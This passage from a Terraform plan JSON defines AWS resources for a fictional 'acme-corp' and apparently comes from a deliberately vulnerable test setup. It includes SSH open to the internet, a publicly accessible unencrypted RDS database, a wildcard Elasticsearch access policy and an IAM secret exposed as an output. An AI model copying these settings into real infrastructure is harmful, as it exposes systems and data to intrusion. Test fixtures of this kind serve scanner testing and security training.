},\n          \"versioning\": [\n            {\n              \"enabled\": true,\n              \"mfa_delete\": false\n            }\n          ],\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [\n            {\n              \"rule\": [\n                {\n                  \"apply_server_side_encryption_by_default\": [\n                    {\n                      \"kms_master_key_id\": true\n                    }\n                  ]\n                }\n              ]\n            }\n          ],\n          \"tags\": {},\n          \"versioning\": [\n            {}\n          ],\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.operations\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"operations\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-operations\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-operations\"\n          },\n          \"versioning\": [\n            {\n              \"enabled\": true,\n              \"mfa_delete\": false\n            }\n          ],\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": [\n            {}\n          ],\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket_object.data_object\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket_object\",\n      \"name\": \"data_object\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"cache_control\": null,\n          \"content\": null,\n          \"content_base64\": null,\n          \"content_disposition\": null,\n          \"content_encoding\": null,\n          \"content_language\": null,\n          \"force_destroy\": false,\n          \"key\": \"customer-master.xlsx\",\n          \"metadata\": null,\n          \"object_lock_legal_hold_status\": null,\n          \"object_lock_mode\": null,\n          \"object_lock_retain_until_date\": null,\n          \"source\": \"resources/customer-master.xlsx\",\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-customer-master\"\n          },\n          \"website_redirect\": null\n        },\n        \"after_unknown\": {\n          \"bucket\": true,\n          \"content_type\": true,\n          \"etag\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"server_side_encryption\": true,\n          \"storage_class\": true,\n          \"tags\": {},\n          \"version_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Managed by Terraform\",\n          \"name\": \"123456789123-acme-corp-rds-sg\",\n          \"name_prefix\": null,\n          \"revoke_rules_on_delete\": false,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-rds-sg\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"egress\": true,\n          \"id\": true,\n          \"ingress\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group.web-node\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group\",\n      \"name\": \"web-node\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"123456789123-acme-corp Security Group\",\n          \"egress\": [\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"\",\n              \"from_port\": 0,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"-1\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 0\n            }\n          ],\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"\",\n              \"from_port\": 22,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"tcp\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 22\n            },\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"\",\n              \"from_port\": 80,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"tcp\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 80\n            }\n          ],\n          \"name\": \"123456789123-acme-corp-sg\",\n          \"name_prefix\": null,\n          \"revoke_rules_on_delete\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"egress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          \"id\": true,\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            },\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          \"owner_id\": true,\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group_rule.egress\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group_rule\",\n      \"name\": \"egress\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"cidr_blocks\": [\n            \"0.0.0.0/0\"\n          ],\n          \"description\": null,\n          \"from_port\": 0,\n          \"ipv6_cidr_blocks\": null,\n          \"prefix_list_ids\": null,\n          \"protocol\": \"-1\",\n          \"self\": false,\n          \"to_port\": 0,\n          \"type\": \"egress\"\n        },\n        \"after_unknown\": {\n          \"cidr_blocks\": [\n            false\n          ],\n          \"id\": true,\n          \"security_group_id\": true,\n          \"source_security_group_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group_rule.ingress\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group_rule\",\n      \"name\": \"ingress\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"cidr_blocks\": [\n            \"172.16.0.0/16\"\n          ],\n          \"description\": null,\n          \"from_port\": 3306,\n          \"ipv6_cidr_blocks\": null,\n          \"prefix_list_ids\": null,\n          \"protocol\": \"tcp\",\n          \"self\": false,\n          \"to_port\": 3306,\n          \"type\": \"ingress\"\n        },\n        \"after_unknown\": {\n          \"cidr_blocks\": [\n            false\n          ],\n          \"id\": true,\n          \"security_group_id\": true,\n          \"source_security_group_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.eks_subnet1\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"eks_subnet1\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2a\",\n          \"cidr_block\": \"10.10.10.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-eks-subnet\",\n            \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.eks_subnet2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"eks_subnet2\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2b\",\n          \"cidr_block\": \"10.10.11.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-eks-subnet2\",\n            \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.web_subnet\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"web_subnet\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2a\",\n          \"cidr_block\": \"172.16.10.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-subnet\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.web_subnet2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"web_subnet2\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2b\",\n          \"cidr_block\": \"172.16.11.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-subnet2\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_volume_attachment.ebs_att\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_volume_attachment\",\n      \"name\": \"ebs_att\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"device_name\": \"/dev/sdh\",\n          \"force_detach\": null,\n          \"skip_destroy\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"instance_id\": true,\n          \"volume_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_vpc.eks_vpc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_vpc\",\n      \"name\": \"eks_vpc\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_generated_ipv6_cidr_block\": false,\n          \"cidr_block\": \"10.10.0.0/16\",\n          \"enable_dns_hostnames\": true,\n          \"enable_dns_support\": true,\n          \"instance_tenancy\": \"default\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-eks-vpc\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"default_network_acl_id\": true,\n          \"default_route_table_id\": true,\n          \"default_security_group_id\": true,\n          \"dhcp_options_id\": true,\n          \"enable_classiclink\": true,\n          \"enable_classiclink_dns_support\": true,\n          \"id\": true,\n          \"ipv6_association_id\": true,\n          \"ipv6_cidr_block\": true,\n          \"main_route_table_id\": true,\n          \"owner_id\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_vpc.web_vpc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_vpc\",\n      \"name\": \"web_vpc\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_generated_ipv6_cidr_block\": false,\n          \"cidr_block\": \"172.16.0.0/16\",\n          \"enable_dns_hostnames\": true,\n          \"enable_dns_support\": true,\n          \"instance_tenancy\": \"default\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-vpc\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"default_network_acl_id\": true,\n          \"default_route_table_id\": true,\n          \"default_security_group_id\": true,\n          \"dhcp_options_id\": true,\n          \"enable_classiclink\": true,\n          \"enable_classiclink_dns_support\": true,\n          \"id\": true,\n          \"ipv6_association_id\": true,\n          \"ipv6_cidr_block\": true,\n          \"main_route_table_id\": true,\n          \"owner_id\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"null_resource.push_image\",\n      \"mode\": \"managed\",\n      \"type\": \"null_resource\",\n      \"name\": \"push_image\",\n      \"provider_name\": \"null\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"triggers\": null\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    }\n  ],\n  \"output_changes\": {\n    \"db_app_public_dns\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"db_endpoint\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"ec2_public_dns\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"endpoint\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"kubeconfig-certificate-authority-data\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"public_subnet\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"public_subnet2\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"secret\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"username\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after\": \"123456789123-acme-corp-user\",\n      \"after_unknown\": false\n    },\n    \"vpc_id\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    }\n  },\n  \"prior_state\": {\n    \"format_version\": \"0.1\",\n    \"terraform_version\": \"0.12.23\",\n    \"values\": {\n      \"root_module\": {\n        \"resources\": [\n          {\n            \"address\": \"data.aws_ami.amazon-linux-2\",\n            \"mode\": \"data\",\n            \"type\": \"aws_ami\",\n            \"name\": \"amazon-linux-2\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"architecture\": \"x86_64\",\n              \"arn\": \"arn:aws:ec2:us-west-2::image/ami-0f0a6d00932023856\",\n              \"block_device_mappings\": [\n                {\n                  \"device_name\": \"/dev/xvda\",\n                  \"ebs\": {\n                    \"delete_on_termination\": \"true\",\n                    \"encrypted\": \"false\",\n                    \"iops\": \"0\",\n                    \"snapshot_id\": \"snap-06c1606ba5ca274b1\",\n                    \"volume_size\": \"8\",\n                    \"volume_type\": \"standard\"\n                  },\n                  \"no_device\": \"\",\n                  \"virtual_name\": \"\"\n                }\n              ],\n              \"creation_date\": \"2020-09-22T02:09:24.000Z\",\n              \"description\": \"Amazon Linux 2 AMI 2.0.20200917.0 x86_64 HVM ebs\",\n              \"executable_users\": null,\n              \"filter\": [\n                {\n                  \"name\": \"name\",\n                  \"values\": [\n                    \"amzn2-ami-hvm-*-x86_64-ebs\"\n                  ]\n                },\n                {\n                  \"name\": \"owner-alias\",\n                  \"values\": [\n                    \"amazon\"\n                  ]\n                }\n              ],\n              \"hypervisor\": \"xen\",\n              \"id\": \"ami-0f0a6d00932023856\",\n              \"image_id\": \"ami-0f0a6d00932023856\",\n              \"image_location\": \"amazon/amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs\",\n              \"image_owner_alias\": \"amazon\",\n              \"image_type\": \"machine\",\n              \"kernel_id\": null,\n              \"most_recent\": true,\n              \"name\": \"amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs\",\n              \"name_regex\": null,\n              \"owner_id\": \"137112412989\",\n              \"owners\": [\n                \"amazon\"\n              ],\n              \"platform\": null,\n              \"product_codes\": [],\n              \"public\": true,\n              \"ramdisk_id\": null,\n              \"root_device_name\": \"/dev/xvda\",\n              \"root_device_type\": \"ebs\",\n              \"root_snapshot_id\": \"snap-06c1606ba5ca274b1\",\n              \"sriov_net_support\": \"simple\",\n              \"state\": \"available\",\n              \"state_reason\": {\n                \"code\": \"UNSET\",\n                \"message\": \"UNSET\"\n              },\n              \"tags\": {},\n              \"virtualization_type\": \"hvm\"\n            }\n          },\n          {\n            \"address\": \"data.aws_caller_identity.current\",\n            \"mode\": \"data\",\n            \"type\": \"aws_caller_identity\",\n            \"name\": \"current\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"account_id\": \"123456789123\",\n              \"arn\": \"arn:aws:iam::123456789123:user/barak@bridgecrew.io\",\n              \"id\": \"123456789123\",\n              \"user_id\": \"AIDA2MPWNTLGWKZRRDYTT\"\n            }\n          },\n          {\n            \"address\": \"data.aws_iam_policy_document.iam_policy_eks\",\n            \"mode\": \"data\",\n            \"type\": \"aws_iam_policy_document\",\n            \"name\": \"iam_policy_eks\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"id\": \"189502314\",\n              \"json\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"eks.amazonaws.com\\\"\\n      }\\n    }\\n  ]\\n}\",\n              \"override_json\": null,\n              \"policy_id\": null,\n              \"source_json\": null,\n              \"statement\": [\n                {\n                  \"actions\": [\n                    \"sts:AssumeRole\"\n                  ],\n                  \"condition\": [],\n                  \"effect\": \"Allow\",\n                  \"not_actions\": [],\n                  \"not_principals\": [],\n                  \"not_resources\": [],\n                  \"principals\": [\n                    {\n                      \"identifiers\": [\n                        \"eks.amazonaws.com\"\n                      ],\n                      \"type\": \"Service\"\n                    }\n                  ],\n                  \"resources\": [],\n                  \"sid\": \"\"\n                }\n              ],\n              \"version\": \"2012-10-17\"\n            }\n          },\n          {\n            \"address\": \"data.aws_iam_policy_document.policy\",\n            \"mode\": \"data\",\n            \"type\": \"aws_iam_policy_document\",\n            \"name\": \"policy\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"id\": \"3931805674\",\n              \"json\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"es:*\\\",\\n      \\\"Resource\\\": \\\"*\\\",\\n      \\\"Principal\\\": {\\n        \\\"AWS\\\": \\\"*\\\"\\n      }\\n    }\\n  ]\\n}\",\n              \"override_json\": null,\n              \"policy_id\": null,\n              \"source_json\": null,\n              \"statement\": [\n                {\n                  \"actions\": [\n                    \"es:*\"\n                  ],\n                  \"condition\": [],\n                  \"effect\": \"Allow\",\n                  \"not_actions\": [],\n                  \"not_principals\": [],\n                  \"not_resources\": [],\n                  \"principals\": [\n                    {\n                      \"identifiers\": [\n                        \"*\"\n                      ],\n                      \"type\": \"AWS\"\n                    }\n                  ],\n                  \"resources\": [\n                    \"*\"\n                  ],\n                  \"sid\": \"\"\n                }\n              ],\n              \"version\": \"2012-10-17\"\n            }\n          }\n        ]\n      }\n    }\n  },\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"expressions\": {\n          \"profile\": {\n            \"constant_value\": \"acme3\"\n          },\n          \"region\": {\n            \"constant_value\": \"us-west-2\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"outputs\": {\n        \"db_app_public_dns\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_instance.db_app\"\n            ]\n          },\n          \"description\": \"DB Public DNS name\"\n        },\n        \"db_endpoint\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_db_instance.default\"\n            ]\n          },\n          \"description\": \"DB Endpoint\"\n        },\n        \"ec2_public_dns\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_instance.web_host\"\n            ]\n          },\n          \"description\": \"Web Host Public DNS name\"\n        },\n        \"endpoint\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_eks_cluster.eks_cluster\"\n            ]\n          }\n        },\n        \"kubeconfig-certificate-authority-data\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_eks_cluster.eks_cluster\"\n            ]\n          }\n        },\n        \"public_subnet\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_subnet.web_subnet\"\n            ]\n          },\n          \"description\": \"The ID of the Public subnet\"\n        },\n        \"public_subnet2\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_subnet.web_subnet2\"\n            ]\n          },\n          \"description\": \"The ID of the Public subnet\"\n        },\n        \"secret\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_iam_access_key.user\"\n            ]\n          }\n        },\n        \"username\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_iam_user.user\"\n            ]\n          }\n        },\n        \"vpc_id\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_vpc.web_vpc\"\n            ]\n          },\n          \"description\": \"The ID of the VPC\"\n        }\n      },\n      \"resources\": [\n        {\n          \"address\": \"aws_db_instance.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_instance\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"allocated_storage\": {\n              \"constant_value\": \"20\"\n            },\n            \"apply_immediately\": {\n              \"constant_value\": true\n            },\n            \"backup_retention_period\": {\n              \"constant_value\": 0\n            },\n            \"db_subnet_group_name\": {\n              \"references\": [\n                \"aws_db_subnet_group.default\"\n              ]\n            },\n            \"engine\": {\n              \"constant_value\": \"mysql\"\n            },\n            \"engine_version\": {\n              \"constant_value\": \"8.0\"\n            },\n            \"identifier\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"instance_class\": {\n              \"constant_value\": \"db.t3.micro\"\n            },\n            \"monitoring_interval\": {\n              \"constant_value\": 0\n            },\n            \"multi_az\": {\n              \"constant_value\": false\n            },\n            \"name\": {\n              \"references\": [\n                \"var.dbname\"\n              ]\n            },\n            \"option_group_name\": {\n              \"references\": [\n                \"aws_db_option_group.default\"\n              ]\n            },\n            \"parameter_group_name\": {\n              \"references\": [\n                \"aws_db_parameter_group.default\"\n              ]\n            },\n            \"password\": {\n              \"references\": [\n                \"var.password\"\n              ]\n            },\n            \"publicly_accessible\": {\n              \"constant_value\": true\n            },\n            \"skip_final_snapshot\": {\n              \"constant_value\": true\n            },\n            \"storage_encrypted\": {\n              \"constant_value\": false\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            },\n            \"username\": {\n              \"constant_value\": \"admin\"\n            },\n            \"vpc_security_group_ids\": {\n              \"references\": [\n                \"aws_security_group.default\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_db_option_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_option_group\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"engine_name\": {\n              \"constant_value\": \"mysql\"\n            },\n            \"major_engine_version\": {\n              \"constant_value\": \"8.0\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"option_group_description\": {\n              \"constant_value\": \"Terraform OG\"\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_db_parameter_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_parameter_group\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"description\": {\n              \"constant_value\": \"Terraform PG\"\n            },\n            \"family\": {\n              \"constant_value\": \"mysql8.0\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"parameter\": [\n              {\n                \"apply_method\": {\n                  \"constant_value\": \"immediate\"\n                },\n                \"name\": {\n                  \"constant_value\": \"character_set_client\"\n                },\n                \"value\": {\n                  \"constant_value\": \"utf8\"\n                }\n              },\n              {\n                \"apply_method\": {\n                  \"constant_value\": \"immediate\"\n                },\n                \"name\": {\n                  \"constant_value\": \"character_set_server\"\n                },\n                \"value\": {\n                  \"constant_value\": \"utf8\"\n                }\n              }\n            ],\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_db_subnet_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_subnet_group\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"description\": {\n              \"constant_value\": \"Terraform DB Subnet Group\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"subnet_ids\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\",\n                \"aws_subnet.web_subnet2\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_ebs_snapshot.example_snapshot\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_snapshot\",\n          \"name\": \"example_snapshot\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"description\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"volume_id\": {\n              \"references\": [\n                \"aws_ebs_volume.web_host_storage\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_ebs_volume.web_host_storage\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_volume\",\n          \"name\": \"web_host_storage\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"references\": [\n                \"var.availability_zone\"\n              ]\n            },\n            \"size\": {\n              \"constant_value\": 1\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_ecr_repository.repository\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ecr_repository\",\n          \"name\": \"repository\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"image_tag_mutability\": {\n              \"constant_value\": \"MUTABLE\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_eks_cluster.eks_cluster\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_eks_cluster\",\n          \"name\": \"eks_cluster\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"local.eks_name\"\n              ]\n            },\n            \"role_arn\": {\n              \"references\": [\n                